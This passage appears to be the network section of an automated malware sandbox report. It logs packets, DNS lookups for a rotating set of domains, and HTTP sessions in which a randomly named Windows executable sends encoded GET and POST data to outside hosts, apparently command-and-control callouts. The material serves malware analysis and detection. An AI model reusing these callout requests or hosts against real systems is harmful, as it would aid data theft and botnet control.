Sep 25, 2024 12:49:05.315104961 CEST	49771	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:05.326937914 CEST	49771	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:05.331831932 CEST	80	49771	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:06.297909975 CEST	80	49771	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:06.298039913 CEST	80	49771	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:06.298093081 CEST	49771	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:06.838709116 CEST	49771	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:07.856945038 CEST	49772	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:08.098814964 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:08.099010944 CEST	49772	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:08.114710093 CEST	49772	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:08.119811058 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:08.119832993 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:08.119936943 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:08.119954109 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:08.119965076 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:08.119978905 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:08.120065928 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:08.120074034 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:08.120132923 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:09.088731050 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:09.088912010 CEST	80	49772	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:09.089476109 CEST	49772	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:09.619788885 CEST	49772	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:10.919738054 CEST	49773	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:10.924806118 CEST	80	49773	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:10.927767992 CEST	49773	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:10.933710098 CEST	49773	80	192.168.2.4	104.21.11.31
Sep 25, 2024 12:49:10.938589096 CEST	80	49773	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:11.930526018 CEST	80	49773	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:11.931173086 CEST	80	49773	104.21.11.31	192.168.2.4
Sep 25, 2024 12:49:11.931245089 CEST	49773	80	192.168.2.4	104.21.11.31

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 12:46:29.240736961 CEST	64894	53	192.168.2.4	1.1.1.1
Sep 25, 2024 12:46:29.290086985 CEST	53	64894	1.1.1.1	192.168.2.4
Sep 25, 2024 12:46:45.061227083 CEST	64017	53	192.168.2.4	1.1.1.1
Sep 25, 2024 12:46:46.027901888 CEST	53	64017	1.1.1.1	192.168.2.4
Sep 25, 2024 12:46:59.967919111 CEST	61225	53	192.168.2.4	1.1.1.1
Sep 25, 2024 12:47:00.235361099 CEST	53	61225	1.1.1.1	192.168.2.4
Sep 25, 2024 12:47:13.358769894 CEST	56378	53	192.168.2.4	1.1.1.1
Sep 25, 2024 12:47:13.372443914 CEST	53	56378	1.1.1.1	192.168.2.4
Sep 25, 2024 12:47:26.543175936 CEST	52530	53	192.168.2.4	1.1.1.1
Sep 25, 2024 12:47:26.722474098 CEST	53	52530	1.1.1.1	192.168.2.4
Sep 25, 2024 12:47:40.046143055 CEST	58802	53	192.168.2.4	1.1.1.1
Sep 25, 2024 12:47:40.263849020 CEST	53	58802	1.1.1.1	192.168.2.4
Sep 25, 2024 12:48:14.410517931 CEST	59725	53	192.168.2.4	1.1.1.1
Sep 25, 2024 12:48:14.420882940 CEST	53	59725	1.1.1.1	192.168.2.4
Sep 25, 2024 12:48:22.482840061 CEST	55684	53	192.168.2.4	1.1.1.1
Sep 25, 2024 12:48:22.500354052 CEST	53	55684	1.1.1.1	192.168.2.4
Sep 25, 2024 12:48:35.656874895 CEST	57350	53	192.168.2.4	1.1.1.1
Sep 25, 2024 12:48:35.847975016 CEST	53	57350	1.1.1.1	192.168.2.4
Sep 25, 2024 12:48:48.999926090 CEST	58764	53	192.168.2.4	1.1.1.1
Sep 25, 2024 12:48:49.221343040 CEST	53	58764	1.1.1.1	192.168.2.4
Sep 25, 2024 12:49:02.639827013 CEST	65290	53	192.168.2.4	1.1.1.1
Sep 25, 2024 12:49:02.766263962 CEST	53	65290	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 12:46:29.240736961 CEST	192.168.2.4	1.1.1.1	0x2670	Standard query (0)	www.2bhp.com	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:46:45.061227083 CEST	192.168.2.4	1.1.1.1	0xb222	Standard query (0)	www.ultraleap.net	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:46:59.967919111 CEST	192.168.2.4	1.1.1.1	0xae14	Standard query (0)	www.dalong.site	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:47:13.358769894 CEST	192.168.2.4	1.1.1.1	0x3765	Standard query (0)	www.mgeducacaopro.online	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:47:26.543175936 CEST	192.168.2.4	1.1.1.1	0xde8b	Standard query (0)	www.heldhold.xyz	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:47:40.046143055 CEST	192.168.2.4	1.1.1.1	0x89ff	Standard query (0)	www.63582.photo	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:48:14.410517931 CEST	192.168.2.4	1.1.1.1	0xeabf	Standard query (0)	www.useanecdotenow.tech	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:48:22.482840061 CEST	192.168.2.4	1.1.1.1	0x3d0c	Standard query (0)	www.asiapartnars.online	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:48:35.656874895 CEST	192.168.2.4	1.1.1.1	0x43ba	Standard query (0)	www.linkwave.cloud	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:48:48.999926090 CEST	192.168.2.4	1.1.1.1	0xcf90	Standard query (0)	www.mfgarage.net	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:49:02.639827013 CEST	192.168.2.4	1.1.1.1	0x8cc	Standard query (0)	www.b5x7vk.agency	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 12:46:29.290086985 CEST	1.1.1.1	192.168.2.4	0x2670	No error (0)	www.2bhp.com		81.88.63.46	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:46:46.027901888 CEST	1.1.1.1	192.168.2.4	0xb222	No error (0)	www.ultraleap.net	webredir.vip.gandi.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 25, 2024 12:46:46.027901888 CEST	1.1.1.1	192.168.2.4	0xb222	No error (0)	webredir.vip.gandi.net		217.70.184.50	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:47:00.235361099 CEST	1.1.1.1	192.168.2.4	0xae14	No error (0)	www.dalong.site	dalong.site		CNAME (Canonical name)	IN (0x0001)	false
Sep 25, 2024 12:47:00.235361099 CEST	1.1.1.1	192.168.2.4	0xae14	No error (0)	dalong.site		172.96.187.60	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:47:13.372443914 CEST	1.1.1.1	192.168.2.4	0x3765	No error (0)	www.mgeducacaopro.online	mgeducacaopro.online		CNAME (Canonical name)	IN (0x0001)	false
Sep 25, 2024 12:47:13.372443914 CEST	1.1.1.1	192.168.2.4	0x3765	No error (0)	mgeducacaopro.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:47:13.372443914 CEST	1.1.1.1	192.168.2.4	0x3765	No error (0)	mgeducacaopro.online		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:47:26.722474098 CEST	1.1.1.1	192.168.2.4	0xde8b	No error (0)	www.heldhold.xyz		67.223.117.189	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:47:40.263849020 CEST	1.1.1.1	192.168.2.4	0x89ff	No error (0)	www.63582.photo	6ybpt9er.as66588.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 25, 2024 12:47:40.263849020 CEST	1.1.1.1	192.168.2.4	0x89ff	No error (0)	6ybpt9er.as66588.com	azkwupgf.as66588.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 25, 2024 12:47:40.263849020 CEST	1.1.1.1	192.168.2.4	0x89ff	No error (0)	azkwupgf.as66588.com		103.248.137.209	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:48:14.420882940 CEST	1.1.1.1	192.168.2.4	0xeabf	Name error (3)	www.useanecdotenow.tech	none	none	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:48:22.500354052 CEST	1.1.1.1	192.168.2.4	0x3d0c	No error (0)	www.asiapartnars.online	asiapartnars.online		CNAME (Canonical name)	IN (0x0001)	false
Sep 25, 2024 12:48:22.500354052 CEST	1.1.1.1	192.168.2.4	0x3d0c	No error (0)	asiapartnars.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:48:22.500354052 CEST	1.1.1.1	192.168.2.4	0x3d0c	No error (0)	asiapartnars.online		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:48:35.847975016 CEST	1.1.1.1	192.168.2.4	0x43ba	No error (0)	www.linkwave.cloud	linkwave.cloud		CNAME (Canonical name)	IN (0x0001)	false
Sep 25, 2024 12:48:35.847975016 CEST	1.1.1.1	192.168.2.4	0x43ba	No error (0)	linkwave.cloud		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:48:35.847975016 CEST	1.1.1.1	192.168.2.4	0x43ba	No error (0)	linkwave.cloud		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:48:49.221343040 CEST	1.1.1.1	192.168.2.4	0xcf90	No error (0)	www.mfgarage.net		85.153.138.113	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:49:02.766263962 CEST	1.1.1.1	192.168.2.4	0x8cc	No error (0)	www.b5x7vk.agency		104.21.11.31	A (IP address)	IN (0x0001)	false
Sep 25, 2024 12:49:02.766263962 CEST	1.1.1.1	192.168.2.4	0x8cc	No error (0)	www.b5x7vk.agency		172.67.165.25	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.2bhp.com

www.ultraleap.net

www.dalong.site

www.mgeducacaopro.online

www.heldhold.xyz

www.63582.photo

www.asiapartnars.online

www.linkwave.cloud

www.mfgarage.net

www.b5x7vk.agency

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	81.88.63.46	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:46:29.308563948 CEST	504	OUT	GET /a4ar/?n0=mTk8u4lhzbnhVh&PR_xXrA=bigEPZ6XMKFUrjbnFuEouLJTNPVDiP/j9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOAdNfbVj3/yE4LVCgAj4ckDbKMFX8mxMH3uQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.2bhp.com Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 25, 2024 12:46:29.988576889 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 10:46:29 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 34 61 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /a4ar/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	217.70.184.50	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:46:46.048444986 CEST	769	OUT	POST /8pln/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.ultraleap.net Origin: http://www.ultraleap.net Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.ultraleap.net/8pln/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 34 36 70 41 31 52 66 4e 51 72 73 6b 61 4b 4d 33 35 76 51 7a 47 57 52 74 63 31 66 38 33 30 62 31 4a 32 38 54 46 74 63 79 2b 44 4e 50 4c 41 73 55 63 6f 4e 74 50 70 6e 76 58 68 6d 33 72 38 48 6b 4b 75 77 70 76 39 69 48 6f 37 6a 45 77 70 42 4e 61 49 78 51 76 36 4f 4b 59 53 36 7a 5a 32 50 51 61 72 4d 72 4d 43 34 36 48 6b 76 6b 49 63 47 36 46 6e 6e 43 68 55 32 55 4c 69 43 57 57 52 4a 79 36 78 45 50 35 46 42 39 4b 76 44 46 72 55 6d 70 2b 51 72 33 6a 76 6d 39 63 42 63 65 56 73 4c 48 56 55 55 63 2b 39 67 31 66 62 72 70 56 46 65 49 5a 7a 77 55 46 41 3d 3d Data Ascii: PR_xXrA=e/XjuvFYh54w46pA1RfNQrskaKM35vQzGWRtc1f830b1J28TFtcy+DNPLAsUcoNtPpnvXhm3r8HkKuwpv9iHo7jEwpBNaIxQv6OKYS6zZ2PQarMrMC46HkvkIcG6FnnChU2ULiCWWRJy6xEP5FB9KvDFrUmp+Qr3jvm9cBceVsLHVUUc+9g1fbrpVFeIZzwUFA==
Sep 25, 2024 12:46:46.637725115 CEST	608	IN	HTTP/1.1 501 Unsupported method ('POST') Server: nginx Date: Wed, 25 Sep 2024 10:46:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED] Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	217.70.184.50	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:46:48.591730118 CEST	789	OUT	POST /8pln/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.ultraleap.net Origin: http://www.ultraleap.net Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.ultraleap.net/8pln/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 69 5a 68 41 7a 78 6a 4e 52 4c 73 6a 51 71 4d 33 79 50 51 76 47 57 56 74 63 30 72 57 33 48 2f 31 49 55 6b 54 45 73 63 79 35 44 4e 50 41 67 73 49 54 49 4d 68 50 70 71 51 58 67 61 33 72 34 76 6b 4b 75 67 70 76 4f 36 45 36 62 6a 47 34 4a 42 4c 48 34 78 51 76 36 4f 4b 59 53 75 4e 5a 32 58 51 61 61 38 72 4d 6d 73 35 4f 45 76 6e 65 73 47 36 50 33 6e 65 68 55 33 48 4c 6e 69 73 57 54 42 79 36 78 55 50 34 55 42 2b 5a 50 44 4c 6c 30 6e 43 7a 67 2f 36 76 4b 4c 39 65 52 51 52 5a 66 4c 42 51 53 46 47 76 4d 42 69 4e 62 50 61 49 43 58 38 55 77 4e 64 65 41 4a 68 4b 56 4d 38 52 65 66 58 64 50 76 42 4c 45 79 78 74 45 67 3d Data Ascii: PR_xXrA=e/XjuvFYh54wiZhAzxjNRLsjQqM3yPQvGWVtc0rW3H/1IUkTEscy5DNPAgsITIMhPpqQXga3r4vkKugpvO6E6bjG4JBLH4xQv6OKYSuNZ2XQaa8rMms5OEvnesG6P3nehU3HLnisWTBy6xUP4UB+ZPDLl0nCzg/6vKL9eRQRZfLBQSFGvMBiNbPaICX8UwNdeAJhKVM8RefXdPvBLEyxtEg=
Sep 25, 2024 12:46:49.215470076 CEST	608	IN	HTTP/1.1 501 Unsupported method ('POST') Server: nginx Date: Wed, 25 Sep 2024 10:46:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED] Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	217.70.184.50	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:46:51.139370918 CEST	10871	OUT	POST /8pln/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.ultraleap.net Origin: http://www.ultraleap.net Content-Length: 10304 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.ultraleap.net/8pln/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 69 5a 68 41 7a 78 6a 4e 52 4c 73 6a 51 71 4d 33 79 50 51 76 47 57 56 74 63 30 72 57 33 48 33 31 49 68 77 54 46 4c 41 79 34 44 4e 50 44 67 73 4c 54 49 4d 6f 50 70 79 55 58 67 57 42 72 2b 72 6b 49 4d 59 70 70 2f 36 45 78 62 6a 47 30 70 42 4f 61 49 78 42 76 2b 71 56 59 53 2b 4e 5a 32 58 51 61 59 6b 72 62 69 34 35 43 6b 76 6b 49 63 47 2b 46 6e 6e 36 68 55 76 58 4c 6e 75 38 57 69 68 79 37 51 6b 50 30 47 5a 2b 61 76 44 4a 6d 30 6e 61 7a 67 69 36 76 4f 72 4c 65 53 4e 38 5a 59 37 42 51 56 38 51 35 4f 45 2b 58 71 66 70 56 54 50 76 55 79 46 6e 58 33 52 32 44 45 45 44 4f 65 58 50 47 49 48 46 4d 6d 32 79 75 78 73 33 79 49 30 62 67 78 54 31 76 59 77 46 50 6c 63 4e 6b 43 55 61 77 63 32 33 53 32 73 38 46 79 41 50 50 64 48 67 6a 31 39 62 54 38 61 6b 38 73 72 51 31 6a 54 59 71 49 70 5a 37 5a 4f 42 66 30 55 49 38 66 74 56 56 43 48 68 41 46 70 65 70 39 6b 51 48 32 31 4b 4b 4e 42 48 77 61 59 6d 4c 2b 38 54 38 78 47 41 4d 72 71 65 74 36 68 4e 78 78 55 5a 65 31 [TRUNCATED] Data Ascii: PR_xXrA=e/XjuvFYh54wiZhAzxjNRLsjQqM3yPQvGWVtc0rW3H31IhwTFLAy4DNPDgsLTIMoPpyUXgWBr+rkIMYpp/6ExbjG0pBOaIxBv+qVYS+NZ2XQaYkrbi45CkvkIcG+Fnn6hUvXLnu8Wihy7QkP0GZ+avDJm0nazgi6vOrLeSN8ZY7BQV8Q5OE+XqfpVTPvUyFnX3R2DEEDOeXPGIHFMm2yuxs3yI0bgxT1vYwFPlcNkCUawc23S2s8FyAPPdHgj19bT8ak8srQ1jTYqIpZ7ZOBf0UI8ftVVCHhAFpep9kQH21KKNBHwaYmL+8T8xGAMrqet6hNxxUZe19mRm7pSynUpV8FmM0qrq/tZxxkR6uir0qeuGuWWrkF8yD+lcVdj5vQC3bpeFwI5HDpVRR7zBNBLdVzZ4Ba6WsIWxHMP+c/KtTmQ+1vGox7cMDTUa8WzgUK57s2TVGbbN2nuu2Q62W5F/9znSs7Czhf1SwN69+NyyDhKZieZmSYQ9lZZpm/WPzOC9eNXduu8NXLa+oQoWy+xzK2UsuwDbxakg+QTgjaNQFqh/0ceHxS8eZ6gyu7ZzxfEejWLg71vrFR2gQ34MfOLZMKFs4a71jjsi8P3ofzAH5TyTVrfyCQP8kzQtt7wKPeGvekxMenUoGXbc4r6jL0bRxHBsPVhZuG8+5szYI8YvOWH/s6W+HrHRhYDK6+sTxQlDyGNkYQOjUfqc8vIBvcMMCmy49cJkL4/YOieVc8OpjmM6KBAV/AB4cRo0NKIdMV0I7AtuuvRsr9j33xjuxi/FviyzAL7jSafDjzxNY1ZD0QHPdDquzRc0L/eIIXEclqCcyA5TaExNIXBoCyBaozPUNzZxVSs8Ja8vfjywDfHT4h4Cocjwit8jSreS1J3Yk5Wlp4CLS4fkZnzI7ppxoMK4UkLZayz5v29BifUuptnxNIIS39b8c1v0lu3a2Gc1mOf91mVKCDF6XlKiNDBq9k/kIBzje1T2f+xq9gq/d4CwKr [TRUNCATED]
Sep 25, 2024 12:46:51.747678995 CEST	713	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Wed, 25 Sep 2024 10:46:51 GMT Content-Type: text/html Content-Length: 568 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body bgcolor="white"><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	217.70.184.50	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
